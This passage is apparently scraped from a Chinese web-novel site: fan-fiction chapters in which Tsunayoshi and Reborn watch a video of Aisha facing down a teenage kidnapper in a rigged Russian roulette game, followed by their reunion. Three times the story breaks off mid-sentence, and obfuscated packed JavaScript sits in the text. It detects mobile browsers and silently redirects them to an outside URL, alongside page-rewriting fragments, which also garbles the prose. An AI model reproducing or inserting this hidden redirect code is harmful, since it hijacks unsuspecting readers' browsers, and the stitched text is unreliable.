就在那个瞬间,跟踪者感到身后传来魔鬼的笑声。他的灵魂从此将永不受主的宽赦。 他一直无法理解羔羊的比喻,可现在在这条窄巷中,跟踪者却奇异的有了共鸣。 现在他距离女孩越来越近了,近得好像一伸手就能触碰到她的肩膀。 可女孩恍若未觉,她轻轻哼着歌,马尾辫随着行走而轻轻摇晃着。 为什么不回头?你听不到背后的声音么?感觉不到即将到来的危险么? 为什么不逃?为什么不逃? 跟踪者内心深处升腾起一股奇异的恶意。 ——多么脆弱啊,多么无辜啊,多么……多么愚蠢啊! 停下来停下来停下来停下来停下来! 对不起对不起对不起对不起对不起! 心里有个小人在惊恐的放声尖叫。 跟踪者的肾上腺素飙升到顶点,产生一种几近清醒的头晕目眩。 他努力忽略心里的小人,朝女孩伸出手去—— 可下一秒,女孩消失了。 跟踪者的手僵硬的悬停在空中,不理解刚才究竟发生了什么。 学院每学期都有实战课,其中艾莎最喜欢的就是地形实操中的巷战。 踩着狭小的巷壁移动很酷,就像老式的香港动作电影。 就像现在这样。 她左脚蹬一下巷壁,借由身体的旋转快速翻到了跟踪者身后。 艾莎一眼看到他藏在身后的□□,因为怀里还护着购物纸袋,所以她的脚迅速向上一抬。 跟踪者还不知道发生了什么,他手里的武器已经远远飞到了巷口,传来一声清脆的落地声。 反应过来后他立即转身,可是已经来不及了! 迎接他的是一鼓劲风。 强烈的危机感涌上心头。跟踪者本能的闭上眼,有那么一瞬他觉得自己的头骨会被踢碎。 可疼痛久久没有到来。 “睁眼。”女孩用英文命令道。 跟踪者能感到自己的眼珠在颤抖,他全身都在抖。 但他到底睁开了眼睛,露出又脏又疲惫的全貌。他穿一件过分肥大的衬衫,但这掩饰不了他身量的矮小与稚嫩。 ——跟踪者竟是个十四五岁的少年。 -- 下午4点,沢田纲吉终于结束了关于洛克家族后续处理的冗长会议。 他回到办公室,发现Reborn竟然等在里面。 他桌上还多出一台笔记本电脑。 他的家庭教师还没说话,沢田就已经从他的表情看出端倪。 “下午阿尔伯特的【账号】收到了新的邮件,是新游戏的视频。”Reborn道。 沢田纲吉的心脏重重一跳。 8. 第8章 俄罗斯轮盘赌 阿尔伯特的【账号】是“已注销”的状态,然而信箱功能却依然保留着。 五年前,在【game】还没有彻底销声匿迹的时候,这个信箱时不时会收到邮件。 内容有时是一段癫狂错乱的话;有时是一张图片; 还有另外三次,信箱里收到了剪辑好的视频。 这种信件的标题是【present】,礼物。 然而视频的内容却和“礼物”这种包含着温暖意义的词语大相径庭。 里面是【game】的游戏过程。又或者说,是坐在幕后的人观看完所有游戏后精心挑选出来的片段。 ——也就是所谓的精选集。 三个视频,三场【game】。 时隔五年,沢田纲吉依然记得视频里面每一帧血腥的画面、每一声绝望的嚎哭。 时隔五年,信箱里还是收到了第4个视频、终于收到了第4个视频。 沢田纲吉点开时,仿佛听见恶魔在他身后发出轻快的嘲笑声。 -- 【game】的录像机一向放置在最高的地方,这提供给观看者一种高高在上的视角,好像是神在俯瞰人间。 这次的房间里只摆了一张破旧的桌子,光线有些昏暗,看背景是在某个废弃的楼房里。 桌旁有两个人面对面坐着。可以很清晰的看清其中一人的脸,他只有十四、五的年纪,身量瘦小,整个人透露出一股虚张声势的凶戾。 镜头正对着他的脸,显然这个少年是这次游戏的“主角”。 而另一人背对着镜头,身体的大部分都隐匿在暗处,看不清楚。 每次游戏正式开始前,会由玩家先行宣读规则。这次的视频也不例外: 【少年从桌上的盒子里取出一张纸,然后照本宣科的念起来: “恭喜你们被神选中,获得了一次改变命运的机会。这次的游戏规则如下……” 在一开始,他还能勉强故作镇定。可读着读着,他的声音就克制不住的发颤。 到了最后,他的音调几乎是高昂破碎的:“……握……握住盒子里的武器吧,它与幸运是你在这个房间唯二的倚仗。神…神之眼正注视着你们。” 念完他呆呆的放了手,那张纸飘然落到了地面上。】 沢田纲吉觉得自己的心脏被一只拳头狠狠攥住了。 这次的游戏很简单。正如最后所说,是仅依靠武器和幸运的游戏。 ——俄罗斯轮盘赌! 盒子里静静躺着一把左轮手枪,里面只装载了一发子弹。 玩家需要轮流扣动扳机。游戏不会停止——直到某位玩家拉动那声命运的巨大轰鸣。 正常的俄罗斯轮盘赌,玩家应该将枪口对准自己的太阳穴。 可是【game】修改了规则,将整场游戏的性质变得更加恶劣。 扣动扳机以前,玩家可以自主选择目标。 即是说,每一轮游戏,玩家都会面临一场抉择——是将手里的左轮对准自己,还是对准坐在对面的人。 沢田在一瞬间懂得了这个游戏险恶的用心。 这个游戏的重点并不是做出选择,而是扣动扳机的动作。 选择将左轮对准别人很容易,可是在现实中真正意义的冲他人扣动扳机呢? ——无论最后是不是空响,每一次扳机的扣动,都无疑是对“自己选择了杀人”的一次承认。 一次又一次的回合,目的是为了泯灭人性。 这是一场培养杀人犯的游戏! 沢田死死盯着屏幕里的少年。他显然对这样的游戏规则毫无准备,整个人陷落在巨大的仓皇里。 【这时,先前一直保持着安静的另一名玩家终于出声。 “Idon’tspeakItalian,canyourepeatitinEnglish?”另一名玩家竟然是个女人。她的声音很平静,过于平静。 见到少年呆呆的摇头,她无奈道:“中文?日本語?” 她听上去没抱太大的希望,可少年竟然真的用日语回应了她。 “你、你会说日语?” “是啊。”女人点点头,她已经习惯别人惊讶的态度了,“因为我很喜欢Naruto,所以自学的。你知道Naruto么?” 少年摇了摇头。他看上去很疑惑,既像是困惑女人为什么在这种时候还能保持冷静,又像是不知道自己为什么和她聊起了天。 “是一本日本漫画,很好看。”女人轻声说,“讲的是男孩和他体内巨大的怪物和解的故事,最后他们一起拯救了世界。” 少年听得一愣一愣的,在这种情况下——女人难道是在向他安利漫画么!? “哦,就是有点gay。”女人有点无厘头的补充说明。 少年:“……” 他的目光飘向地上的那张纸,像在犹豫要不要把它捡起来。】 另一名玩家刚刚开口,沢田纲吉就感到全身的血液都冻结了。 即使电子机器转录的声音有些失真,即使摄影机没有拍到她的脸。 他不由自主的站了起来,那一瞬间他的表情就像刚刚的少年一样恐慌。 然而一只手按在了他的肩膀上。 “阿纲,看下去。”Reborn在沢田身后说,从他的声音里听不出半点情绪。“视频里都是已经发生过的事,现在的你改变不了什么。” 沢田对Reborn有着本能的信任。他的老师让他看下去,他就看下去。 他的身体坐回了椅子上,他用眼睛看着,耳朵听着。沢田感到自己是某种机械,唯有心魂不守舍的跳动着。 说来讽刺,让他渐渐平和下来的,居然是视频里艾莎冷静的声音。 【少年用日语复述了一遍规则。 第二次的宣读给了他理解规则的机会。他一边翻译,眼神一边重新变得狠厉起来。 他刚说完规则,就跳起来一把抢过了盒子里的左轮,并毫不犹豫的将它对准了艾莎。 然而一分钟过去了、二分钟过去了……八分钟过去了,他始终没能有下一步的动作。 “…你的手不酸么?”艾莎问道。 摄影机拍不到她的表情,但从她的声音里听不出恐惧。 “闭嘴!不要说话!我在集中精神!”少年尖声叫道。 又过去了两分钟,他的表情在坚定与犹疑间不断切换,并始终带着痛苦。 接着他的手臂突然一松。在意识到自己放下了武器后,他大口的喘息起来。 “我也不介意我先来,你知道吧?”艾莎说。 “你以为我会给你抢先的机会么?我才没那么蠢!” “……我又没说要对准你。我冲我自己来不行么?”艾莎的语气听起来就像在骂他是个蠢蛋。 少年闻言睁大了眼睛。短时间内他似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658767|188344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎没勇气再次拿起那把左轮,所以他很明显的动摇了。 “不可能!你在骗我!”他先是表现得极为凶狠,“你只是想拿到这把武器!” “我没有骗你。”艾莎冷冷道。但她也没有做进一步的解释。 少年做出瞪视的表情,可很快又迟疑的喃喃起来:“怎么可能……难道你不害怕么?你不害怕么?” “…你忘了你先前给我注射了什么东西么?”艾莎低声说,“现在的我根本不会有害怕这种情绪。” 闻言,少年立即露出了心虚的表情。 “把它给我么?如果你觉得情况不对,大可以跳过来打掉我的手。这张桌子并不大。”艾莎说。 又过了几十秒,少年终于把那把左轮推向了对面。 摄影机的角度只能看见一只手伸出握住了那把武器,5秒后那把武器被推还给了对面。 ——她竟然毫不犹豫的冲自己扣动了扳机。 “刚刚是空响。”艾莎说,“现在轮到你。”】 “她在给对面施加压力。”Reborn说。他难得对陌生人表露出赞赏。 沢田没说话。他的脸色很有些阴沉,既因为艾莎过于大胆的行为,又因为他现在满脑子都想着她究竟被注射了什么东西。 【少年呆住了。他没想到艾莎会这么轻而易举的完成第一个轮次。而且她居然真的没有对准他。 “你在后悔么?啊啊,早知道刚刚那一枪自己来开就好了什么的。”艾莎轻笑。 他仍故作凶狠的瞪她,可是底气已远没有刚才那么足。他深呼吸一下,然后抄起左轮,对准了艾莎。 “其实你完全没必要后悔。我说过我不会瞄准你。这场游戏你已经有了100%的胜率,现在只需要对我扣动扳机就可以了。难道这件事也很难么?”她冷静的分析着。 “闭嘴!闭嘴!”少年面白如纸。 “你看起来一点也不享受这个游戏。你的手在抖。”艾莎没有理会他的警告。 “……我、我必须这么做,没错,我是被‘神’选中的人。‘神’在看着我。”少年也没有理艾莎。他冗自喃喃低语着,像要从自己的话语中汲取勇气。 瞄准后,他没有再看艾莎,而是低下头,咬牙扣动了扳机。 ——空响。 “咔嗒”一声后,他如梦初醒般把枪扔到了地上。 他的脸上浮现出后悔与放松交杂的表情,就像在漫长的折磨里获得了短暂的安宁。 “你、你来。”少年吞咽一下口水。他俯身捡起左轮,用力的把它推向了对面,像在推拒一个恶魔的邀请。 “喂,男孩,你叫什么名字?”艾莎拿起武器后随口问。 “……莱因哈特、我叫莱因哈特。”短暂的犹豫后,他老老实实回答了。 此刻他看向艾莎的表情简直悲哀得像在做临终关怀。 “…狮子的心么?很好的名字。”说完,艾莎毫不犹豫的扣动了扳机。 “——空响。”她冷冷的说,“下面轮到你,莱因哈特。” 她将左轮推还。莱因哈特呆滞的看着她,仿佛不理解刚才发生了什么。】 “3个轮次,现在她掌握了主导权。”Reborn说。 沢田纲吉凝视着视频中那个被黑暗吞噬大半的身影,他隐隐知道了艾莎想做什么。 可他不能想下去。在观看【game】时,他不能抱任何希冀。 9. 第9章 狮子 【莱因哈特迟迟没有拿起那把左轮。已经3次空响了,如果说第一次轮到他时他还能心怀侥幸,那么现在他简直已经陷入绝望了。 他悲哀的看着桌面,心中笃定自己不会有第二次好运。 这时艾莎突然问道:“莱因哈特,‘神’是谁?” “……什么?”他颤抖着问,他是真的没有听清。 “你刚刚说你是被‘神’选中的人。” “‘神’…‘神’是游戏的举办者,”莱因哈特说,然后他急切的解释起来,“——没错,是‘神’让我这么做的,要我邀请一个人一起来玩游戏,邀请的方法也是……” 艾莎强硬的打断了他:“我不关心这些。我只是问‘神’是谁。” “……诶?” “‘神’这个‘概念’太笼统了。他长什么样子?说什么语言?他的信仰是什么?他存在于过去的历史中么,有正典么?你凭什么敬他为神,他向你展示了什么神迹么?当着你的面把石头变成面包水变成酒了么?”一个个问题冷硬如刀,一刀一刀把莱因哈特构筑好的心理防卫全数割掉了。 莱因哈特只能不断的摇头:“不、不……没有,不是的、他是在网上联系我的……可他什么都知道!我做什么他都知道!” 这句话说出来他自己都觉得蠢,又蠢又怯懦。 “——哦,一位通过互联网鼓励人犯罪的‘神’。”艾莎道,“你就是为了这种东西选择赌上自己的命么,莱因哈特?” 她说得从容而轻蔑,就像大人管教不懂事的孩子,既可以拿颗糖哄一哄,又能随时给上一耳光。 莱因哈特最受不了的就是这个,被当成孩子、被当成蠢蛋!他感到心里有一团火烧起来,这团火驱使着他拿起了桌上的武器: “我知道——我知道啊!”他的眼眶赤红,声音酸楚而怨愤,“可他不是‘神’又怎么样!不管他是骗子还是变态,只要能帮我就好了,帮我的话他爱叫自己什么就叫自己什么我都会认的——你难道看不出来么,正常人谁会来玩这种游戏——我已经走投无路了!” 乌黑的洞口直指对面。然而愤怒也只能支撑他到这一步。 莱因哈特的手指虚虚扣在扳机上。他低下头,另一只手快而狼狈的在脸上抹了一下: “——我没办法,我需要钱啊,每天103欧,一个月3090欧,一年37080欧……那个人说只要我完成游戏就给我钱的。只要有这些钱就好了,我要拿这些钱去救我妈妈的命,不然她就要死了。”】 莱因哈特说了一个寻常的故事,同时却也无力到令人心碎。 贫穷而缺失父亲的家庭,温柔坚毅的母亲,突如其来的重病,以及整日在病房里嗅着消毒水味道、每一天每一天都恐惧崩溃的少年。 然后他又洋洋洒洒的说了很多,都是他妈妈生病以前的事。 这些话憋在他心里大概已经很久。 他说他爸爸是个蠢货,靠酒精和暴力维护自己虚弱的自尊。 这个男人在他十岁时从家里不辞而别,这是他人生目前为止发生的最好的一件事。因为他妈妈再也不会因为要护着他而被男人打得鼻青脸肿。 他念的是巴勒莫最差的中学,成绩却能进最好的高中。那些大块头的男生会因为他拒绝帮他们写作业而把他的头泡进马桶里,但他从不生气。 因为他知道这些人和他爸爸一样都是蠢货,以后他们只能帮别人搬运啤酒瓶,他却能去更高更远的地方。 早晚有一天他会带着他妈妈离开,他们会去英国或者美国,去剑桥和哈佛所在的地方。 他妈妈是那样好的人,总是会温柔的亲吻他的额头,说里奥是个温柔善良的孩子啊,主会一直保佑你的。 他妈妈又是那样愚蠢的人,为什么当初不能嫁给更好的男人,为什么要把他生在这样一个家庭?为什么不具备谋生的能力,只能做最简单的苦力劳动来供他们生活? 不过愚蠢也没关系,因为他很聪明。总有一天他会站在最高的地方,像他爸爸这样的男人在他面前会像蚂蚁一样渺小。以后让他来保护这个愚蠢的女人就好了。再给他一点时间他会给她最好的生活。只要再有一点点时间就好了。 可是来不及了。这个愚蠢的女人居然在这种时候倒下了。他能解出所有的数学题但他救不了她的命。 只有钱才能救妈妈的命。 沢田纲吉静静地听着他的故事。 【“她就是这么蠢。你思考的问题她一个字也听不懂,只会不停地笑啊笑啊笑啊笑,说里奥好厉害好厉害。”莱因哈特恶狠狠地,“可为了你她什么苦都能吃,如果她死了世界上就再也没人会对你这么笑,再也没人会那么盲目地爱你了——她是这个世界上你最亲最近的人啊!现在这样一个人就要死了,而你什么也做不到,只有一条命可以拿去赌,如果你是我,你难道就不会拿命去赌么!你难道就不会做同样的选择么!?” 他剧烈的喘息着,小小的脸狰狞如恶鬼。 像是也为他话语中涌动的悲伤与痛苦所动容,艾莎第一次陷入了沉默。 半晌后,她轻声道:“我对我妈妈没什么印象。” “……诶?” “在我很小的时候她就把我卖掉了。之前可能也爱过我吧,我不记得了。”艾莎的声音淡淡的,听不出喜怒,“我有一些朋友,但这个世界上确实没有人会像母亲记挂孩子那样记挂我。所以你说的这些我听不懂,‘母爱’是我的知识盲区。” 莱因哈特没想到对方会是这样的反应。 他携着满腔燃烧的怒火扑上去,可对手却是一块冷冰冰的石头。 “可我知道你为什么迟迟不敢扣动扳机。因为你既想赢得游戏,又不想真的动手杀人。所以只能期待我当那个饮弹自尽的倒霉鬼。”艾莎平静的分析着,声音冰冷如刀锋。 “直到现在3个轮次过去了,你不敢再抱着侥幸的态度,只好试图说服自己去当一个杀人犯。”艾莎讽刺道,“你慷慨激昂地陈述你对你妈妈的感情,把自己塑造得复杂又深情,其实不过是在增加自己杀人的‘正当性’罢了。” “因为你不敢作恶,所以只好催眠自己你此刻的行为是正确的——先是所谓的‘神’,又是你自己的妈妈。莱因哈特,你的借口真多。” “你是不是想着如果我是个穷凶极恶的罪犯就好了?这样你就能无所顾忌的扣动扳机。可你敢去绑架一个罪犯么?你不敢,所以你在大街上随便挑选了一个自认为无害的目标,让她做你伟大母爱的牺牲品。” “——真可笑啊,莱因哈特。你在大街上选中我,一路尾随我到无人的巷子,准备好武器偷袭我,给我注射药品,把我带到这个鬼地方,然后让我为了你的妈妈——一个陌生人——去死。可现在你拿着致命的武器对着我,居然却又不敢正视我的眼睛!” “——看着我!莱因哈特!” 她重重击打了一下桌子,声音里有愤怒,同时却又具备君主般的威严。 那是毫不留情的诘问,宛如狂风暴雨。面对暴雨莱因哈特无能为力;面对命令,他也只有颤栗着服从。 “如果你想赢得游戏,那么就扣动扳机。只是抬起头睁开眼睛看着我,牢牢记住你选择牺牲了一个无辜者的命,这罪孽将伴随你一生。”女人的声音君主般冷漠。 “——你的名字是‘莱因哈特’,不是懦夫。” 气氛凝滞,他们沉默着对视。在某种情绪将到达顶点的时候,莱因哈特动作了。 他的手臂发颤,但他的确全程注视着艾莎的眼睛。 然后什么也没有发生,只有一声几不可闻的“咔嗒”飞快的消逝在空气里。 ——空响。】 沢田看着那把武器重新回到艾莎手上。 他眼中的光明明灭灭,复杂得看不出心绪。 “那是柯尔特眼镜王蛇,美国货,昂贵但是威力强大。”Reborn说道,“一共可以装载6发子弹。所以还剩2个轮次。” 艾莎显然也清楚这一点。 【“现在还剩最后两轮,我们一人一次。”她没忘记提醒莱因哈特。 “不要了……求你、不要了,我不想再玩下去了……”莱因哈特的眼泪鼻涕流了一脸,但他已经顾不上去擦了。 刚才的一轮抽干了他全部的力气,现在他整个人就像一只被放干了气的气球。只能干瘪的伏在桌子上摇晃脑袋。 他的话没有被听从。 3秒后武器被推还到他面前。 “——空响。”艾莎近乎无情的说,“现在轮到你。” 可还要什么轮次呢?一共6次机会,5次都是空响。只有白痴才解不出这道数学题。 “不、不……”莱因哈特虚弱的拒绝了,他把那柄黑色的武器推得更远了一点。 “你有什么资格说‘不’?”艾莎冷冷道,“这是你自己选择的路,不是么?现在坐好了,看着我,然后结束这个游戏。” 莱因哈特靠在椅背上,他明明应该占尽上风,此刻却低垂着脑袋,只有嘴唇轻微的动作着。 “你说什么?”艾莎问。 “……不要逼我了、求求你不要逼我了……”他轻声嗫嚅着。 “我要你对着我扣动扳机,然后赢得游戏,拿着钱回去救你妈妈——这也算是逼迫么?”艾莎道。 “……可我不想杀人,我根本不想玩这个游戏!”他抬起头,眼神在触到艾莎的目光时瑟缩了一下,但却依然梗着脑袋,坚持把话说完了。 “我看到【新手引导】就后悔了,可那个人不准我退出!他说命运已经把我网住了,所以我做什么他都知道!医生也在逼我,说我交不出药费妈妈就不能继续治疗了;还有你、你也逼我,我都说了我不想继续玩了,可你偏偏是个不怕死的疯子!你们要把我逼到什么地步为止——为什么不让我做自己想做的事!”他神经质的怒吼着,说的话颠倒错乱。 艾莎静静道:“…那么你想做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658768|188344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么呢?” 莱因哈特静默了一下,然后他倾身将武器握在了手中。 “我想……我想好好睡一觉。”他哭着说,脸上露出一种明亮的苦笑,“我好多天好多天没睡觉了,睡不着……其实我现在只想好好睡一觉。” 艾莎沉默,她看着对面少年的动作,没有鼓励也没有阻止。 他又说了一些话,比方说评价‘神’的言行很恶劣一口一个命运;又怒骂那个把女人比作羔羊的变态;还说艾莎抱着零食哼着歌的样子很好看——他就是因为这点选了她,因为嫉妒有人能在他这么绝望的时候过得那么轻松开心。 他简直想把能说的话都说完。 “……还有对不起,我不想伤害你的。我给你注射的是普通的镇定剂,不会成瘾。其实那个人说就算我死了他也会把钱打给我,但我怕我死了就没有人知道那笔钱到账了——你到时候能去看看我妈妈么,只要让她知道我们有钱了就行,地址我写在书包的第一个口袋里了。”他絮絮叨叨的说着,明明浑身发颤,却又流着眼泪露出一个放松的笑来。 艾莎冷冷地看着他。 ——致命的武器顶在了他自己的太阳穴上。 “原谅我、原谅我……”他还在喃喃低语。 然后突然之间,莱因哈特扣下了扳机。 ——这是最后一个轮次。致命的子弹本应尖声叫嚣着从死神的匣中窜出来。 可什么也没发生。 ——空响。 “记住刚才那一刻的感觉,那是罪恶、羞愧和耻辱。”艾莎低声道。“以后的这一生都不要再让自己有这种感受。” “然后把你先前做的那些事情、说的那些话以及有过的想法都忘掉吧。出去以后干干净净的拥抱你妈妈。” “——刚才的那一下后,我们两清了。” 少年呆呆地注视着虚空,也不知他有没有听见这些话。 漫长的反应时间后,他嚎啕大哭起来,恰如劫后新生。】 至此,沢田纲吉轻轻吐出一口气。 然而视频还没有结束。 【艾莎静静等待着他的平复。在他的哭泣声渐歇后,她终于道;“好了好了,现在只剩下最后一件事了。” 她缓缓站了起来,走到莱因哈特身旁,然后戳了戳他的肩膀。 “你刚刚说那个什么破烂‘神’一口一个命运,还说了什么‘命运把你兜住了’之类中二又搞笑的话对吧?”她的语气一下子随意了很多,好像刚才的严肃全都是她装出来的。 “嗨、嗨,那么现在提问——遇到这种傻逼神明我们应该怎么办呢?”她把一只手搭在莱因哈特的肩膀上。 莱因哈特吸着鼻子,呆呆傻傻的微张着嘴巴。 艾莎握着莱因哈特的手,引导他将那柄致命的武器对准了虚空的某处。 “——答案很简单,只要把神明干掉就可以了,连带着这种傻逼透顶的命运一起。” 她说得非常轻松。话语刚落,她便勾着莱因哈特的手指扣动了扳机。 那是砰——的一声巨大轰鸣,原本不可能存在的第7个轮次! 子弹带着“必然命中”的命令飞射出去,一击射落了高悬在房间顶部的摄像机。 “看见了么?这就是所谓的‘神之眼’,在你痛哭在你大叫的时候那个‘神’就躲在这东西后面偷看哦,说不定还一边看一边吃泡面哦?” 艾莎引导着莱因哈特走到坠落的录影机面前,声音里甚至带着点调侃。 “能做出这种事情的不可能是什么‘神’吧,明明是垃圾懦夫一类的东西。” 她站在莱因哈特身后,鼓励般拍了拍他的双肩。 “你不可能会惧怕这种东西吧,莱因哈特?你明明有着狮子的心啊!” 她居高临下的俯视着那台摄像机,眼神冰冷,声音轻蔑: “——现在碾碎它,莱因哈特。”】 画面越来越破碎、越来越破碎,如同镜面崩毁。 男孩一脚一脚的破坏了那台摄像机。 在视频的最开始他明明那样怯懦无助,可在结束时却有了狮子般的眼神。 最后画面陡然熄灭,游戏与视频一起结束。 “……真是从身到心的完美救赎。”Reborn发出一声轻嗤。“蠢纲,你对女人的眼光就和你的判断力一样差。” ——当这个所谓的“普通女人”将手中武器缓缓对准镜头的时候。即便是隔了一层屏幕,也能清晰感受到那冰冷的、如刀割面般的杀机。 “……不过眼神倒是很相似。”他如此评价道。 “Reborn,她现在在哪儿?”沢田纲吉轻声问。他从中途就已经反应过来,Reborn不可能没有提前看过视频。 这次是他上了Reborn的当。 “部下在医院找到了他们,现在都在楼下的会客厅里。”Reborn淡淡道。 沢田纲吉头也不回的离开了办公室。 10. 第10章 归程 会客室的门虚掩着,沢田纲吉刚走近就听见里面传出极其没有营养的对话声。 “…没想到你年纪轻轻居然就出卖□□给Mafia的大人物!真是何等的世风日下人心不古……怎么办啊我绝对会被杀的吧!?” 这是崩溃的少年音。 “不会啦,要杀早杀了还让咱坐这儿么……话说这房间这么大你非得黏着我坐么,远点远点啦。” 这是艾莎。 “你居然不否认出卖□□的事!” 少年恨铁不成钢,质问语气介乎长辈与怨妇之间。 “我求你放过这个话题吧……不要又靠过来啊喂!” “我拒绝!本来还以为你是什么正道的光,没想到其实是那种走人生捷径的家伙!话说究竟是近视多少度才会看上你这种姿色平平的女人啊……肯定是个秃顶发福的油腻中年大叔!” “……是是是,而且穷凶极恶每晚都要吃掉100个小朋友行了吧?所以你赶快给我坐远点,不然今晚就让我家darling把你吃掉。” 被污蔑成秃顶发福中年近视眼还吃小朋友的年轻教父沢田纲吉:“……” 他赶在话题进一步走向猎奇前推开了门。 艾莎抱腿窝在会客厅角落的椅子上,而瘦小的莱因哈特正黏在她身边喋喋不休。 阳光洒在他们身上。她边答话边有些心不在焉的望向窗外,眼中流露出淡淡的疲倦。 然而一看到推门而入的沢田,艾莎脸上立马浮现出“如见救星”的欣喜……以及心虚与不安。 只见她一蹦三尺高,然后左脚绊右脚把自己绊倒了。 沢田:“……” 这个平地摔的动作未免也太眼熟了! 他抢救不及,只得快步上前把人搀起来。 “唔、忘了我是久坐会腿麻的体质。”艾莎扶着他的手慢慢站起来。 沢田纲吉静默一下,道:“…艾莎小姐,你流鼻血了。” 不光流了,而且看上去还异常严重。 “哦……我也是易流鼻血的体质。”艾莎摸了一下鼻子,又嘟哝一句“鼻炎后遗症”,然后冲沢田纲吉露出一个血糊糊的笑容。 沢田轻声道:“别碰,我让人拿冰袋过来。” 他向后瞥一眼莱因哈特,此时少年一脸震惊,只差把“这个废柴是谁我不认识她”直接说出来了。 然而在接触到沢田的目光时,他又迅速变得警惕而防备,就像幼兽试图捍卫自己的领地。 沢田将手虚护在艾莎身后,朝他露出一个温和的笑来:“你就是莱因哈特吧?谢谢你一直在这里陪着她。待会儿会有人带你去你妈妈那边,如果有什么需求请尽管和他提。” “之后或许还有需要请你帮忙的地方,但今天就先安心休息吧,这里很安全。” 听到他安抚的话,莱因哈特向前迈了半步,但最终还是咬咬嘴唇,无声的点头应答。 “那个……”关于医药费的事。 艾莎虚捂着鼻子颤颤巍巍道。 可她刚开了个头就被沢田无情打断了。 “先别说话,越流越严重了。”他低头看她一眼,果断道,“隔壁就有医务间,我先带你过去做一下简单处理。这边。” 男人举手投足间都散发出成熟从容的气质。他熟稔的揽着艾莎离开,眉眼极尽温柔。 莱因哈特站在在原地,半晌后还是忍不住轻声咕哝了一句:“……什么嘛,根本就不是什么秃顶油腻中年大叔……” -- 按照民间方法,止鼻血就应该仰头并用纸团塞住鼻孔。 但这其实是错误的处理方法。 艾莎熟练地身体前倾,并将冰袋压在前额。 对于从小就鼻子脆弱的她来说,甚至已经从无数次的尝试中摸索到了最佳的倾斜角度和按压力道。3分钟不到就能止血。 沢田纲吉拿了一个托盘过来,然后拉过一把更矮的椅子在她面前坐下。 他专注的用镊子夹着棉球,帮她细细的清理着下半张脸上残留的血迹。 艾莎本来想自己来。奈何沢田的目光一直集中在她的人中部分,并没有get到她那强烈要求“独立自主”的视线。 医务间里非常安静,一时只有镊子时不时触碰托盘的金属碰撞声。 ……沉默,沉默,沉默沉默沉默。 艾莎非常想打破这种沉默的氛围,可脑子里一时只能想到诸如“纲吉君你看我这个姿势像不像在蹲马桶”一类的烂话……她觉得这类烂话是无法起到效果的。 说起来她真的有流那么多血么,为什么这么久了还没擦完,要不就用“你们日本人干活好细致”作为开头好了……哦不,这句话听起来有点像在种族歧视…… “纲吉君……生气了吗?” 最后艾莎没头没尾地问。但她刚问完就恨不得自抽耳光——还不如聊蹲马桶的话题呢! “嗯?”沢田似乎在想别的事,又或者是过于专注于帮她清理鼻血,因此只是发出一声含糊的鼻音。 “……我把纲吉君的部下打伤了。”艾莎吞吞吐吐,“在医院的时候他说是‘彭格列’的人,但我不知道这是纲吉君的家族名字,所以还是发生了冲突。对不起。” 是把他们当成【game】的人了么?沢田知道部下里有几个比较鲁莽冲动的,其中有一位似乎十分喜爱日本极道文化,之前在云雀前辈战斗时高吼着“我来助你”、“这才是男人的战斗”之类的话一个猛子扎进了战局,结果因为被云雀误伤所以最近才出院。 “伤得很重么?”出于对部下的关心,沢田问道。 “我没有下重手。听到他们说起纲吉君的名字就立即停手了。”艾莎老老实实道,“但有一位似乎患有习惯性关节脱位,所以当即住院了。其他人说他最近才出院。” 沢田纲吉:“……” ……嗯,应该不会是同一个人吧……嗯。 “对不起,给纲吉君添麻烦了。”见他一直不说话,艾莎垂下了头。 “……艾莎小姐不需要向我道歉,我也没有生气。”沢田叹了口气,将镊子放回了托盘中。“不,与其这样讲,倒不如说是反过来……” 看到艾莎疑惑的眼神,沢田纲吉没有继续说下去。他岔开了话题:“血止住了,现在回去么?” “可、可以嘛?”艾莎露出惊喜的表情。被接到彭格列总部后,她隐约明白自己这回大概是牵扯进了什么比预想中更为复杂的事件,所以压根没想过还能回公寓。 “当然。现在刚好5点30,我下班了。”沢田纲吉故意看看表,然后半开玩笑的说,“走吧,我送你回去。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658769|188344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> -- 沢田自己开的是一辆AMGE53,以他的地位衡量,这样的座驾可以说是低廉又低调了。 不过艾莎看到的时候也没怎么意外,反而有种“果然如此”的感觉。 汽车在桥上飞驰。现在正是夕阳西下的时候,落日余晖洋洋洒洒跃入水中,将河流摇碎成了一小块一小块的小镜子,遥望过去耀目而剔透。 河流的尽头是另一座桥,旁边伫立着一座哥特式古建筑。它看上去温暖而落寞,仿佛那些被遗忘的旧时光之具现,就这样形影相吊、在天与水之间徘徊了一千年。 